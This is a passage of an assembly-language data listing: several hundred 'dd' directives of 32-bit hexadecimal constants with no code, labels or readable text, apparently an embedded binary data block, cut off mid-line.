dd 1C96486Ch, 3E85C100h, 0CF827217h, 0AF473837h, 0E7FDBD8Ch dd 7D69F660h, 0CAC01881h, 2A880BB6h, 7CB18981h, 0C535101Ah dd 0B00B48ADh, 23DB2180h, 0EB001348h, 49A52746h, 3B03F6Bh dd 8F2FF4FCh, 128D6DF7h, 1DCC2474h, 880FE23Ch, 400BEB34h dd 1B9E0C40h, 39517E1Dh, 110957DDh, 188249F4h, 1466C02Ch dd 9D60409Fh, 0B5BCA0ECh, 39C72AB7h, 53EA0090h, 0B6A08ACEh dd 3A12FFF2h, 2D006CA2h, 4A36B812h, 8FF8262Ah, 1BE04EECh dd 7D49BB13h, 0C52CEA12h, 0F2E0BC2Dh, 1627003Ch, 4373FE36h dd 671428B9h, 10ACEB40h, 372212F3h, 2FADF92Dh, 7B2BA080h dd 0B91BE99Ah dd 2D768718h, 6085D72Fh, 0B098C8Fh, 0EBC12800h, 25690AABh dd 6F6D0934h, 9CCC3F60h, 0DB842700h, 19257348h, 26E200B1h dd 81A0F0B5h, 1E29B053h, 3480B03Bh, 8BE33EF4h, 266C0031h dd 0A9C681CEh, 0AA03321Ch, 35C5017Dh, 0E088D4E8h, 0A8AC007Eh dd 5B6F50BEh, 840408E5h, 933E7D76h, 16A4C88h, 0BB92C3E8h dd 315DCA73h, 52541810h, 6B0B8300h, 115ADA66h, 0D64C00F0h dd 894DC3A5h, 830025F5h, 1A36D576h, 2C878F92h, 0FF8BE61h dd 39648AA2h, 1360B4EFh, 0C60FC4A4h, 0C007587Ch, 0E5846DDFh dd 2EC02CB5h, 3F0AC60h, 4EE4BD12h, 33843CC9h, 1EDB00DCh dd 0F10D5A6Eh, 2C4A40Bh, 0A1D8B5D0h, 0C3C00CFDh, 38027489h dd 1C446C43h, 0F788C08Ah, 3CD182E3h, 0EDA3DF00h, 5FEEB43h dd 19D1EA13h, 0C8D8D53Eh, 0E6075AACh, 4A217BAFh, 0D9F80EF0h dd 7E23A87h, 0E1D17C05h, 6DAC0474h, 2CC48864h, 82CCBC5Ch dd 8B7CD683h, 0A6889090h, 94D0944h, 80DD2643h, 2DBB4853h dd 6A791E2Ch, 504F819Bh, 6C205175h, 984C5Ch, 5C3C6F55h dd 0B7E681h, 0CA918A22h, 0B32CED6Ah, 0FDA05C96h, 64F32D5Ch dd 0F4B49311h, 25391C52h, 0CBFC1F65h, 94840220h, 0C58C506Ah dd 71C06D84h, 2D3625h, 0BEA2EC20h, 3F0F7FF3h, 2B9AF4A8h dd 0C5334B00h, 975E8A9Ch, 994B47Eh, 64682483h, 990A5856h dd 88B22C55h, 0E7B8024Bh, 0BED4484Bh, 641A8874h, 838D2F17h dd 0A44E1C0Bh, 10E4A808h, 0ECDF3AE8h, 68849101h, 41FD9F8Ch dd 64332CCAh, 24B0E018h, 75A48B16h, 0DC8D5884h, 21EC1BF2h dd 0B0381F50h, 20C70A80h, 0E607D441h, 58D82BCCh, 606B009Fh dd 29E2A04h, 0B41B2988h, 18E12FC3h, 6403293h, 0C1BDBC14h dd 866E7878h, 0A88E7C8Bh, 0EF0AFB01h, 0CE8C87BEh, 0B815298Fh dd 33D30196h, 2035F15Bh, 0C8046BABh, 86D32D93h, 20BABCC2h dd 90EC6ACFh, 0CA396700h, 0EE35BD26h, 0F9F295h, 0AAD913C1h dd 76255575h, 7A3C3148h, 1227D688h, 88B5FDD3h, 390005C0h dd 0E27C7891h, 0B6168AAEh, 45EF4484h, 18009A35h, 39C0BE3Bh dd 799E086Ch, 9D806DA7h, 2FE16588h, 447B92h, 5E6F6480h dd 9AAF89E2h, 88E7BF24h, 39297682h, 1FE852FBh, 0C7F18E0h dd 5D71A514h, 0E8013E09h, 0F4C41835h, 4D81001Dh, 0E9FE9BB3h dd 0C3006DEDh, 0AFD14E28h, 9E12C5DEh, 0AAE8837Ch, 0A28FFC03h dd 2840165Bh, 2D3F2B51h, 3BE320C0h, 623BEE87h, 7107C25Ch dd 0D5AEDDC1h, 182C82BBh, 0DFE4B029h, 50B1C6h, 95E20550h dd 7B00A2E6h, 0A43CCC22h, 90CE869Eh, 75692D24h, 0A52850B8h dd 0AA0EE9FEh, 0C005BCB2h, 6A916780h, 0C1581CF7h, 63F468D4h dd 0C6DC314Fh, 0EC4448D5h, 0A18F8480h, 0B02D189Ah, 3877067Ch dd 70CB1785h, 0D02EBC05h, 0FC307A98h, 48B00D48h, 7D172418h dd 9714D0FEh, 0C0242695h, 0A2385CD1h, 0A851110Fh, 6B4A7C0Ch dd 0C8E3F424h, 234DF24h, 31EF918Bh, 8291841h, 0B4C05539h dd 26A992ECh, 15E41B86h, 0B5008C66h, 69A2726Ch, 250077F0h dd 96B0EB49h, 0EF20EDh, 57D4CC05h, 0E5C110F4h, 0B949AE0Ch dd 440958DEh, 409F9EDh, 23BC8CADh, 0B52DEB8Ch, 9737A080h dd 0ABBA0F02h, 92675FD1h, 0B07E1082h, 8579149Eh, 8090BD4Ch dd 0A546B1Ah, 0FE7398A4h, 6D8800D1h, 7DDB2320h, 0F8242512h dd 0B742F4A7h, 4FA92h, 0D5E16F22h, 8D9E98Bh, 79BFF3Bh dd 0B962AF1Ah, 1CEE73C0h, 58309042h, 0C7184438h, 0C5654945h dd 0E5478400h, 0E33B2B99h, 51950674h, 61BEF53Ah, 6C40134Bh dd 0F73414BAh, 0C3EB3ADAh, 0AA91DC00h, 0DB0E013Ch, 0A7E32B0Ch dd 28D142h, 0D95A51EEh, 0D492BC0Ch, 1E2B52Fh, 40C72CACh dd 0A9888C38h, 91A02D46h, 31B74248h, 0C112C202h, 0CD122B70h dd 8200C0FAh, 0D106C09h, 0A2751DB8h, 99989090h, 4B7D50h dd 0FA252DBFh, 1A1F76DEh, 95AADC09h, 87509256h, 7B707110h dd 37C5AFh, 141235ECh, 1B1F5E75h, 0EE988B03h, 0C0BD06C3h dd 3A5DF0F3h, 0A47337C6h, 0FA9B00A8h, 0B0DFE029h, 0F539F94Eh dd 4A6ADE6h, 31402E44h, 40AF542Dh, 268DA701h, 0DF6AF4A9h dd 306E289Ah, 604AD0E9h, 4E0FBA40h, 926B0F3h, 0D93CE01Bh dd 0C72D150Ah, 1407A477h, 757EFD6Bh, 75B7C28Ah, 64CD38A0h dd 4102A183h, 36154B1Ch, 4DAA7h, 2A95D5FCh, 349331ACh dd 4C55E3Eh, 2B796DF1h, 47B4C64Ah, 0EEAD9105h, 0E00B6065h dd 7040A74Ah, 0B8DFCD70h, 0CBF301F4h, 9BC3C34h, 14A3C4EEh dd 0B25A38h, 0C119F84Eh, 7D430Eh, 705C1F20h, 0F7BC5DF1h dd 6CDB6509h, 0A0381874h, 0ED0700BEh, 236F536Bh, 3A00D675h dd 0A3333C5Ah, 5AAF5CDAh, 0C210206Eh, 78048230h, 0C3BECFA8h dd 0EBFA58C1h, 0C86F2D08h, 7B1B04C9h, 0DB41C4C2h, 4E378088h dd 0E6206C8Fh, 0F8AA4909h, 0A7B89192h, 0F93100F3h, 48053AF0h dd 9800255Eh, 0BF3685F1h, 0C18BA8h, 0F86AFF59h, 87F0E2CCh dd 6DEF1F02h, 405A8E46h, 26C53964h, 3A5022A3h, 63F422CAh dd 6E4498D2h, 0CA040094h, 0F5DEBA39h, 0FB006559h, 0E93AA78h dd 28A2C650h, 0AB5090F8h, 8E40A490h, 1B95C2AFh, 7E011772h dd 0F94B3A57h, 184546A8h, 0D6FB1C00h, 99C9247h, 788AAACAh dd 0A901018h, 0EC12BC94h, 6DF3A400h, 0B871F75Bh, 8ABF0010h dd 0FC2326DEh, 209594F8h, 8B302FE0h, 0C9430CAFh, 7191BA12h dd 48AE1607h, 5450E2A0h, 4EC1597h, 60FF954Eh, 83CCC33Ch dd 0BCE036DAh, 2F5BAEE9h, 0C66D4820h, 0FBCB39E8h, 0CD2CC00h dd 4E8017C8h, 5B90DF4Ch, 0DD485C20h, 4FE07114h, 0A444282Ch dd 25F92740h, 0C0C64794h, 0BFAE1644h, 0AB5F8650h, 18F7F022h dd 7F00BDA8h, 0F931B9C1h, 0C9D73FBh, 0A55872EEh, 82E08908h dd 0D8C64200h, 24BE065h, 0CB48039Ch, 8986176Bh, 1AC13017h dd 14102C00h, 1C90A08Dh, 13901DDh, 208F0A5Ah, 0F91680F6h dd 19D07DCBh, 0A0A47527h, 0C071A120h, 7C75C179h, 950161BEh dd 8DE999BAh, 823E198Eh, 25C37D5Ah, 8BF2901h, 335C279h dd 9DB70FC4h, 0F2126D40h, 1E9DB8C0h, 3DE5917h, 237D3AF8h dd 33E9130Ah, 8E2186EBh, 7965A1h, 6FC76A9Bh, 7312B405h dd 8E1D8B75h, 0BA401958h, 7163484Bh, 944000DBh, 0B6CDBB8Fh dd 0F32A869Fh, 0C20694ABh, 0A6F487ACh, 0F97D1B11h, 0EBC0E105h dd 7052802h, 8576A4F0h, 808C7C08h, 0CB782CE7h, 0EF600574h dd 57F9B4A1h, 59C40F7Bh, 7F6DA48Ah, 9C689139h, 7379227Ch dd 30EB1200h, 0E4F64320h, 58190CB5h, 0A328F1DBh, 0E1B27700h dd 40F50A67h, 91DD008Bh, 455DD71Ah, 2402B5F7h, 70A5B104h dd 80508451h, 0E7B76E40h, 57000D29h, 7AB3AF9Ch, 7837464Ch dd 448B1D4Ah, 18C8E805h, 417B17B5h, 55009626h, 0A99054C5h dd 4BF2A9Fh, 0D0F28EC2h, 6E088049h, 191DC968h, 1CDBA5Ah dd 1CC5717Ch, 1784A5FEh, 0ABE19820h, 0B52D007Ah, 76413C46h dd 0A2EA31D0h, 0A5397460h, 3FBDE05h, 0BB6433F3h, 92E047E6h dd 0F91823D1h, 0E9297AFCh, 61F86012h, 51CCE057h, 301D5900h dd 9884CF5h, 8AB0A8AAh, 661175A7h, 0B89D111Fh, 9894B100h dd 6C13CE19h, 1D97CA1h, 0AD0CFC30h, 0D8BEFA62h, 58014676h dd 9C0321BAh, 29806805h, 2DBBF89Eh, 0CA00E347h, 786B5C02h dd 11E1B98Ah, 36328C2h, 0A541B77Ah, 12101862h, 0FE311939h dd 2D86AC00h, 0FF73572h, 0EA460EB3h, 9D2CC902h, 9C001D30h dd 0BE8A3BCEh, 12EE15Eh dd 52A2D6AFh, 80DD2537h, 12CEF70h, 98AE4319h, 7FB3000Bh dd 0A60341E8h, 13098A09h, 8534Eh, 0A22A3B28h, 3D747CF4h dd 607F3204h, 0B7D4913Ah, 4A0F5476h, 20B3F059h, 0E7262F33h dd 0CAC80380h, 0AB5CB664h, 0EBB5C901h, 699DFC2Ch, 0BA7F7882h dd 28A017E0h, 51C4CEA0h, 6126A3Dh, 0F3118D23h, 0B3DF20B1h dd 51B2A830h, 9AD7CEh, 95B4221Fh, 317B389Bh, 46875C02h dd 9012DA82h, 1FC3FD0h, 0FF090EFBh, 0EF3EE427h, 0C29845E5h dd 0B3BC3021h, 0E618A519h, 9920E0DBh, 671F001Bh, 149CB67Dh dd 39C0C4CFh, 0B735F301h, 4F8C0027h, 0EA28B71h, 920503C5h dd 531C919Dh, 691F86h, 63116E18h, 0B7B4A9FFh, 60067876h dd 0B043B665h, 6D7D0CD1h, 8961DA25h, 34039401h, 87FC405Ch dd 61B8A4F0h, 4DB651A9h, 211C44A8h, 0BE2F6DDCh, 7FAC01B9h dd 8B608DBCh, 3980B6C5h, 71C77DA0h, 79E2DD15h, 0D7D3FA00h dd 0A1A84956h, 47B50912h, 3C2465D9h, 9C37406Dh, 9F767DEh dd 2D0CDAA4h, 0A9C1C781h, 5F823A5Bh, 2908090h, 308C7638h dd 0D71B18Bh, 7800C1D1h, 74B011BEh, 25B4C5h, 8BFA850Fh dd 12404234h, 3B695760h, 43C4ECh, 764636DCh, 418C0C2Eh dd 0B61F6301h, 0C2A35552h, 2AB513D8h, 2980A65Ah, 6B4E4A4h dd 19AA48B6h, 0D0669308h, 0A7013CDCh, 2D4DE415h, 0A118E385h dd 0CF39B48Bh, 72CA0018h, 983C847h, 0E1015B8Eh, 0EF126EFEh dd 0E08C97C7h, 1031B78Bh, 1A7D39E0h, 88240800h, 4DC0E566h dd 0B4BE0FECh, 5E69992h, 800D96Eh, 41FF8F9Ch, 7645CEh dd 4F11235h, 9A0EDF84h, 58421A0Eh, 0CA660465h, 0FCE408C0h dd 946849C3h, 59EF0178h, 0A84846F1h, 9AD050DAh, 0C200079Fh dd 0C03A2F1Eh, 30986F3Bh, 0E79652DFh, 26297210h, 8480B0DEh dd 20C4446Fh, 7C291CB9h, 6C24C078h, 8CE4935Fh, 47AC6401h dd 11EEE32Ah, 27C2A450h, 241C261h, 0B09141B6h, 3F89BE12h dd 0E0EAA42Eh, 7D40B400h, 7102804h, 464FF651h, 9AEE8014h dd 589245C1h, 0BEE60200h, 407B73B0h, 74DF1226h, 418800B1h dd 0D178F4C2h, 4574DCA4h, 0A3663614h, 0A8AA128Ch, 2C829820h dd 6AD03CFAh, 3CD43782h, 0E841F3DBh, 0AD8B1153h, 2B27D850h dd 20A5005Bh, 0FB4AC5BCh, 152416B8h, 6498F8B1h, 1514129h dd 0C6B4CFFCh, 0C8BBE37Fh, 32480325h, 80ED1134h, 0A1B5D018h dd 520E416Ah, 20C6281Dh, 0D8BFF214h, 300F0082h, 4B1F9BD5h dd 48065658h, 44B66669h, 0F150C439h, 58A040A8h, 0F88A2EACh dd 7CACA405h, 6B180063h, 0E4612668h, 8201CF4Bh, 60401CC4h dd 3E70A9E9h, 0E7070ACDh, 6BC0AFFh, 6101771Bh, 3AAE522h dd 0AC2F421h, 0C122BD37h, 0BF3400C4h, 0EE5980FCh, 0FDFC91E3h dd 262A2309h, 2DE41822h, 185F0094h, 2CAA8D98h, 3700A192h dd 0B4ED5090h, 6AA65Eh, 7271395h, 0CDCED716h, 0E1E32303h dd 9C553F8Ch, 3FDDCCCh, 0B1C8589Eh, 0B790B441h, 3007C9E3h dd 0C26ED392h, 0B8427054h, 6EE0609Ah, 83181F45h, 6D917A8Bh dd 0DDE0F52h, 0BFC74DB4h, 9B4280B1h, 68027A97h, 570867DBh dd 0A418C1EBh, 0C290CF13h, 5D000E3Fh, 0FEB308CBh, 704914h dd 5609727h, 9F39A8D2h, 0AAE66D00h, 0E106A52Ah, 2864127Dh dd 0A47C20A9h, 89C07EE7h, 41AC604Fh, 0C7A82ABAh, 0CDA500DCh dd 0A6F34980h, 290116A9h, 0C7D6F287h, 3980AE8Dh, 5755DB91h dd 85A3CABh, 0B85B13ACh, 0C2484Dh, 0CE1C87Dh, 0A096C1CCh dd 35D8ECCh, 0EC583D01h, 63980E27h, 953E1E3Fh, 501F4C2h dd 4EB6997Bh, 0E9E8DF59h, 9F66666h, 3900218Eh, 0F1704ECEh dd 19BBADh, 0F45887C5h, 0C312F57Eh, 8C296B60h, 6C079CEh dd 789085A2h, 603B2073h, 6800F0A9h, 5C1D118Ch, 3B71E76h dd 0E265A61h, 0E5C0797Bh, 0BB12B545h, 0F4063594h, 30082D8Ch dd 0D0207AE2h, 0C400B49Dh, 0B1173CB6h, 0D73134Bh, 91AC9051h dd 5499E68h, 2DCF0CBAh, 19B1166h, 0E9A45D4Eh, 0C909E231h dd 0A0089829h, 262221h, 68601C5Dh, 0B108AC3Ch, 5B40DEDFh dd 0DC63E51Dh, 0F50A0528h, 48E6E3DEh, 0BBC0A0A0h, 46DF5C4Eh dd 59A22AAh, 0AB4EB32Ah, 6C8C0487h, 1B7C0072h, 7A016B0h dd 9805A468h, 79303CC1h, 0A7A6FE00h, 8DA1874Ch, 0C99F1D5Dh dd 21F51886h, 0A7009EDDh, 350F8A3Fh, 3C2C9918h, 0D207142h dd 0E7DA1E0Ch, 50078173h, 0E280B852h, 0C4D75095h, 0BCA10396h dd 597DAB12h, 154AEA90h, 0C0B4B312h, 1752AB00h, 76D448A2h dd 46D55853h, 0B180713Ch, 0BB442A0Dh, 8500C362h, 0A3178A1Dh dd 1D60577h, 0B827E920h, 0D0911068h, 693CE82Bh, 17D8067h dd 2EC4765h, 6344746Dh, 5F50213Ch, 255462A8h, 0CE725100h dd 0F629ED34h, 0BDFA0011h, 0E89F788Ch, 2B0D9689h, 38AFA87Fh dd 246ED8E0h, 3BD3E25h, 673175CCh, 0F8B3081Bh, 2557C820h dd 323B0E8Bh, 1938A1FFh, 0D2787DB1h, 7F63A58h, 142FB7E4h dd 0DACC76C0h, 0E56D0157h, 21A9CD6Fh, 0A918F3E9h, 0CC419DBAh dd 8C29075Bh, 2322C2F1h, 40B07FBEh, 1F260DA5h, 84229B76h dd 663C6946h, 5D018288h, 4F473EC4h, 51D9525Eh, 0BEE18080h dd 22803081h, 500660B0h, 9F013F0Ch, 0F90860C0h, 0E430DC10h dd 0CF0716CAh, 68CC04C0h, 3EFC80F2h, 0F30FEC38h, 40DC4FC6h dd 42E05725h, 9E1D00F0h, 517F2CD2h, 67006536h, 0A1793AD4h dd 72839515h, 30F24Dh, 8AED57D8h, 25C78F9Ah, 0E120C200h dd 0FAC1236Dh, 8D031D89h, 0F62A013Bh, 71754E76h, 0EC98E435h dd 0E9D95303h, 8882200Ah, 3F8F7BC5h, 764FD6h, 9030C36Fh dd 406777BAh, 48ADCD06h, 0F31EBD9h, 9FB00724h, 66A1CB20h dd 9723145h, 808A783Ch, 0A303E8DDh, 806A6FC8h, 80307A6Eh dd 81F81869h, 2448C0F7h, 7205DB78h, 0A9D48400h, 0A364F0DDh dd 0D2C50012h, 0D6ABF0Bh, 0F41E6C3Fh, 0E483B359h, 0E7C00FACh dd 1D197786h, 0CD2C9063h, 0CCA60652h, 7BF827D0h, 6B25A107h dd 0D171C924h, 90F04769h, 0E7F83886h, 0F6EB9B0Fh, 78404522h dd 0E0C59AC1h, 0B0B8EF9Fh, 0FD0021E2h, 0DDA55938h, 18A90B68h dd 0D0F26A78h, 0F40E49F7h, 0B1F13244h, 0C50CFA00h, 201157B4h dd 1909F603h, 0C86B98DEh, 1EC97B0h, 0A9D86EDFh, 0C041EB88h dd 6200FE4Ah, 0E3CFBF2Fh, 3229744h, 90E6B8CEh, 11464BD1h dd 0F880E004h, 310D698h, 5A68D103h, 9FF0E90h, 7F662300h dd 80C54326h, 0B4F703B5h, 0DFD4BC4Bh, 792A2922h, 88AE04BFh dd 0C7F75649h, 517220E9h, 0C700F818h, 14C1531Fh, 9C49D3h dd 0E3D244DDh, 6CBE02D9h, 36B8EB01h, 0CE5F3DBFh, 117B860h dd 0CF901D9Fh, 0D48D9D42h, 3F120F0Dh, 0D900F534h, 35FE197Ah dd 1E02FAFCh, 7074175h, 0E047AEA5h, 5EE7619Bh, 0DA10F860h dd 1896FCh, 784A3EACh, 6CA83F5h, 0B5A990Fh, 93310089h dd 78AF96CBh, 0A19C0FF7h, 0A380330Dh, 98275EE8h, 83F32200h dd 284EAD72h, 0DF460073h, 3AD82471h, 4000064Fh, 0EFAA82C8h dd 0EC742Bh, 9769D33h, 3BE45CE1h, 0B342B926h, 550DF900h dd 657B56h, 88D12EC1h, 9AB3A2F4h, 0EF255C00h, 71E861A9h dd 0B6C90069h, 0A23B1D30h, 513BC38Eh, 802B3847h, 1F19DCBBh dd 9F65DFh, 676A1185h, 90746188h, 9C27D700h, 0F80E447Eh dd 3D990579h, 0AF391320h, 72A12987h, 0DB20F297h, 37800DEh dd 886DEF11h, 0B948CFFCh, 92E0000Ch, 0E31F73FBh, 70AC0414h dd 0EA063C2Dh, 74D4FB80h dd 7030023h, 0F84926Eh, 983CDAEAh, 0CBC800BBh, 0E49F3F75h dd 7E6F22Ch, 0CD391D58h, 4E02F0A6h, 0AD003380h, 0F740970h dd 0B6EFD5h, 15782A05h, 996B7543h, 0E7003CEEh, 33F398F0h dd 357367Dh, 0D46CDF47h, 0F2B0A7F5h, 66003CDBh, 8835C8CDh dd 840F96h, 706F234Ah, 0A8150554h, 0D0573Dh, 666144E2h dd 7D1F22h, 76DC9606h, 7C423D3h, 8569E900h, 0F2CB8DB0h dd 0B9C300FEh, 7ADDCA28h, 0B0087B2h, 2760813Fh, 0E8ACCC66h dd 49B815h, 63974EB9h, 0A2E162F1h, 46318400h, 5AA9DD85h dd 90A70007h, 44CB5567h, 0B901E57Eh, 6B5FA3AAh, 18801D49h dd 93FCD069h, 0A01F716Dh, 16806EBDh, 94290438h, 357D003Ah dd 0A4564524h, 7507D934h, 1950137Ch, 6B08A770h, 0E19D1853h dd 247BC063h, 0BCF5E00h, 6D4D2D18h, 845B00CDh, 53794E6Bh dd 0CE07C883h, 0BCD9B5F2h, 6F495EC0h, 0CD69006Dh, 3DC571D6h dd 0C900E72Bh, 99412AE5h, 0A052C3h, 18BB4ECAh, 29EF8D3Ch dd 5DAA6103h, 0D8E7E3C7h, 63C990h, 59E6CCDEh, 4075A394h dd 77AF5700h, 0D60745ACh, 0CB8E5C74h, 300E7D00h, 84ED3873h dd 2A8A500h, 9E09AD8Dh, 8BCA05EAh, 41D83E7Ah, 630C1AC8h dd 913ACC40h, 316EF400h, 543EE183h, 447118FDh, 5E25E120h dd 640086F8h, 7E904697h, 0E6F077h, 9BD8C74Fh, 4849C19Ch dd 0F16F48h, 0E9C9D492h, 1F657D61h, 0C03DEFE2h, 0B807EDBCh dd 0C718968Fh, 0EB20E6E4h, 0D0F8A32Dh, 75D36Ah, 5B02A34Eh dd 68CA6FA0h, 2EC8E250h, 21B0830Fh, 664FC0AFh, 1A1F3D9h dd 0CABF0A95h, 0CCCE26CFh, 4D0FA0A2h, 4103E25Ch, 0E059755Fh dd 0E102E770h, 4453ECh, 0EED32A11h, 6F26B3C8h, 91C7F101h dd 9936C683h, 3E277BCCh, 0E13AF5E6h, 603EFD00h, 0FCB5BD75h dd 783B8C0Ah, 7000C1C1h, 46C718CAh, 6CDE007Ah, 98D2AE43h dd 0FE00A1B8h, 1A747EA8h, 3C0B7C4Dh, 3F178488h, 0D44300E2h dd 4ABF0E52h, 916BA0Fh, 0CB49E0A7h, 0EAB9CFAh, 0EAA53644h dd 809D3FA7h, 68715624h, 98C56700h, 99D1E9DBh, 1805007Eh dd 8F475813h, 0E878AAA1h, 0DBB4710Eh, 98A70072h, 5C5B1495h dd 4307B3EEh, 40F625C6h, 6331DB9Bh, 0F8B20A00h, 7C4A53F4h dd 6ED200B5h, 8A548C94h, 7D00C429h, 7087374Bh, 6921CEh dd 9D88ACEBh, 35C27E27h, 1497FB1Dh, 8008D58Bh, 5B4B3CB7h dd 0E9D6005Fh, 229BC7FCh, 0D9070A30h, 278EC34Fh, 0AF7BDCA1h dd 13B6B0D8h, 0A5D601h, 94E95658h, 6498EC46h, 613D301Eh dd 0CE1B440h, 56487Bh, 51161B55h, 0C3352098h, 0AC76A002h dd 83AE17C2h, 0E8B356FCh, 0BCE52Fh, 0D89DF43Bh, 0C366581Fh dd 260018F6h, 30098D47h, 1D2288F8h, 4FDBBC77h, 74801236h dd 93FF106Bh, 8F04451Ch, 3FA78241h, 19E869FBh, 64390325h dd 3B12FCEDh, 0D35FA8A0h, 9860D90Fh, 277CC0DCh, 32B11C1h dd 829F0B02h, 8B0A5B4h, 92012C1Eh, 0C5EB8099h, 0F0D7DD25h dd 9341591h, 4B03F988h, 9DCB6C20h, 8498739Ch, 0D5425202h dd 43C4C20Dh, 4B42BFE0h, 0D2B8C0F4h, 5A850758h, 6025325Ch dd 43EE4135h, 91A93Eh, 6D3EB1FBh, 0EB2376h, 0C1302D88h dd 0C8F65638h, 591D7400h, 422A13DEh, 505A0051h, 35B1378Ah dd 0A14C04ADh, 0FF660027h, 2C01C082h, 0F0090F8Bh, 6BA00674h dd 0B9995CD7h, 0AFBC4100h, 9538AE26h, 9C2118D9h, 0F51810AAh dd 0E23A3CFAh, 6000F38Ah, 929BD19Fh, 1C1D259h, 0BB4F8FBEh dd 3022BC7Fh, 26007DC4h, 3AF26461h, 0DAF774h, 898BDFA2h dd 0F42E097Eh, 5F20E309h, 21588067h, 51EB3BCh, 0AA03D141h dd 0F45DC070h, 0C7003ECDh, 1281B8A1h, 13237Bh, 6E3D83Bh dd 0F932FD98h, 8A118B00h, 830A8C2Eh, 9DF21C25h, 0A5EA8056h dd 0CDF5154Eh, 0A8D11F39h, 1BEAE918h, 0D3CC7900h, 0D4AE0373h dd 2D33181Ah, 0E3E68886h, 8C9548h, 0CD122785h, 0E8FA2649h dd 0F88E304Dh, 0CEEA2518h, 0B005F5F1h, 34332011h, 84A80040h dd 8CF565F3h, 0DC00FD17h, 3F3D4DC1h, 0D8336Ah, 0EB93D9E6h dd 80058387h, 0D36FC000h, 7AFAC821h, 58729Eh, 3F1A7E8Eh dd 4CDF9FCh, 0B3FB5500h, 0BA6FDF77h, 0A049EEEAh, 0AA2640Ch dd 2EE605F4h, 0E9833D5Ch, 5D2654CEh, 0C8D31E2h, 0F0740588h dd 0E0001BAh, 692451D7h, 79523DDh, 49ECDBA0h, 3AA3F006h dd 971CE664h, 9180555Fh, 56868CB9h, 1CE799Ah, 0F10B12A7h dd 0DC2E99A0h, 20E98FD0h, 39001726h, 375D6E98h, 0FE4F89h dd 0D84093E0h, 5F017E32h, 0DFD43F60h, 769A65F2h, 31BA00D1h dd 116398C3h, 6C165A76h, 68424DC9h, 0E3CAEF0Bh, 0CB09A0AFh dd 0E62C005Eh, 770AB2D2h, 0BB03263Ah, 0FD7DC066h, 11E01884h dd 0E56908FAh, 4900F279h, 4231BDB6h, 4C2E6Ah, 0EFCE2C73h dd 54B7E37h, 6F1C95FEh, 64C0BE34h, 0B082D48Dh, 0D31E4D3h dd 0EE118C14h, 7A90DC51h, 0A04B1E00h, 0FA95C3D2h, 0F0A9C3F7h dd 290083AEh, 0F9E1FC7Dh, 47D105h, 7735FDE2h, 141C536Ch dd 680302F4h, 0FCFA31E5h, 2F6EE176h, 0F86D1FE4h, 8226006Fh dd 2BB0FFF3h, 5300544Eh, 0EFEAD0E8h, 3E4DD1E0h, 3C1810A6h dd 2C90195Fh, 0E6887A0Eh, 656E219Ch, 8E5BF85h, 24F4B024h dd 4004A304h, 4099DD80h, 0A561F7F2h, 717A18B1h, 0DAA6C8h dd 0ACF31AF6h, 0FB94A743h, 0B0E3412h, 21D2440h, 397A9Eh dd 0B69A5255h, 63A5C28Fh, 3765250Fh, 0BCBBC0F8h, 9510D92Bh dd 3600A7D8h, 0A2A9E907h, 3DFA1ABh, 0A3E3B248h, 528911ECh dd 7BD860C2h, 0F23FCD1Dh, 6210F18h, 0D7110748h, 0A1C26487h dd 0F0E673CAh, 5900494Ch, 0EA8FAB5Dh, 5BDCBA9h, 51439D5Bh dd 0D0FAC7CEh, 484A61E3h, 4C674D90h, 0BA500350h, 77940A8h dd 92CCF9Fh, 21FA4696h, 0B900ED7Ah, 0D80ECE9Bh, 3EB03FEh dd 64DA093Ah, 0C6B19A20h, 442DD0B4h, 674CA1C0h, 0C03B7552h dd 0F336B178h, 44030E82h, 253CE2DCh, 52B10776h, 20D26750h dd 0FF49DB99h, 0B808906Fh, 9F3F49h, 5F8E0D66h, 63AC7DCAh dd 0B20CF3F4h, 60401964h, 3EC0004Ch, 0AC1E1150h, 1B1FAB7Eh dd 0EB8B48F9h, 0B9FF83F7h, 41E0E708h, 27E789h, 351D463Ah dd 0B0C140Eh, 601E47Dh, 0DE67B66Dh, 0B1718618h, 1EDADBD4h dd 805D697Fh, 3DB2BF2Bh, 66007AA3h, 12AB041Ch, 90AADBh dd 0E5A70A5Eh, 35CE1A4Dh, 2900B57Ah, 347D628Dh, 6B533Eh dd 84090E45h, 0D04166F4h, 3BCD1C00h, 3D4CE1A4h, 27CB3ADFh dd 93A3007Dh, 0AE748FFBh, 0F619AA09h, 3C08F9A5h, 3F12180h dd 6C9EFD8Fh, 0D5296200h, 0ADF0CB7Ch, 83F9008Eh, 0A357344Bh dd 43749503h, 0A13D3300h, 0C9057472h, 365A189Fh, 991509C4h dd 0B30120C0h, 0E647473h, 0C9B2801Eh, 4E404703h, 453AAAC8h dd 742FAE1Fh, 1831A40Ch, 901667B7h, 0EE0DC07Dh, 10C02EF2h dd 0DA780743h, 59BB0C60h, 0B4091C45h, 0FF6321C0h, 73E70A77h dd 6A15031Ah, 80E8DE7Ch, 8CF4B841h, 31E1A26Eh, 98940EA3h dd 301ECCCBh, 0D4E66718h, 0ED7442E9h, 8746030h, 5B0FC917h dd 34A1864h, 776F0084h, 0A486C18Bh, 922FAD0Ch, 1FD0414Dh dd 8085A0FFh, 7EFE1327h, 2A28CA99h, 92308052h, 0A05D294Bh dd 0C5E80055h, 148177B0h, 0A00FEFFh, 0B2CA9A41h, 0FD2FAB20h dd 5FFDF4h, 409DCD07h, 28600CC2h, 0E3349700h, 50DF58FFh dd 0EC2E00F6h, 1B6F0E41h, 1400F14Ah, 182BD8FEh, 7A443474h dd 19CE4C54h, 163E4000h dd 0D61D53F3h, 15805A00h, 0A7B06287h, 97930031h, 2FCF45A1h dd 2301F38Eh, 43C69BA4h, 3BCCC29Dh, 0AF7D0729h, 0A78CBF7Ah dd 7F416C53h, 4E008BECh, 0D84659E1h, 5CFFB4h, 9628B6E0h dd 0B9BEAC62h, 0D9524707h, 0C003A586h, 2D2AE089h, 24FB1DF6h dd 7F0F8051h, 4959FE04h, 0FF36570Eh, 182EC626h, 22A10019h dd 0C2052B4h, 87000189h, 0BB86C073h, 0ED791C2Ah, 0F45F2FCh dd 6CFB9269h, 0B9B07FE0h, 28C08883h, 80908EDBh, 67511845h dd 4315988Ah, 98B76B01h, 9DB6DB8Fh, 53E42181h, 0E1CC82A5h dd 2C944877h, 5A031206h, 0E610164Ah, 0F73F00FEh, 79731C41h dd 7A0093E8h, 65B219A7h, 3BF3323h, 8E89DB0Ah, 78584B53h dd 151C7664h, 0C2C0DA56h, 18CA9420h, 0AE6D014Ch, 3187FB27h dd 8CDFF0F8h, 2C968A00h, 0FD2E1845h, 0E8650FEFh, 0B467D16Ah dd 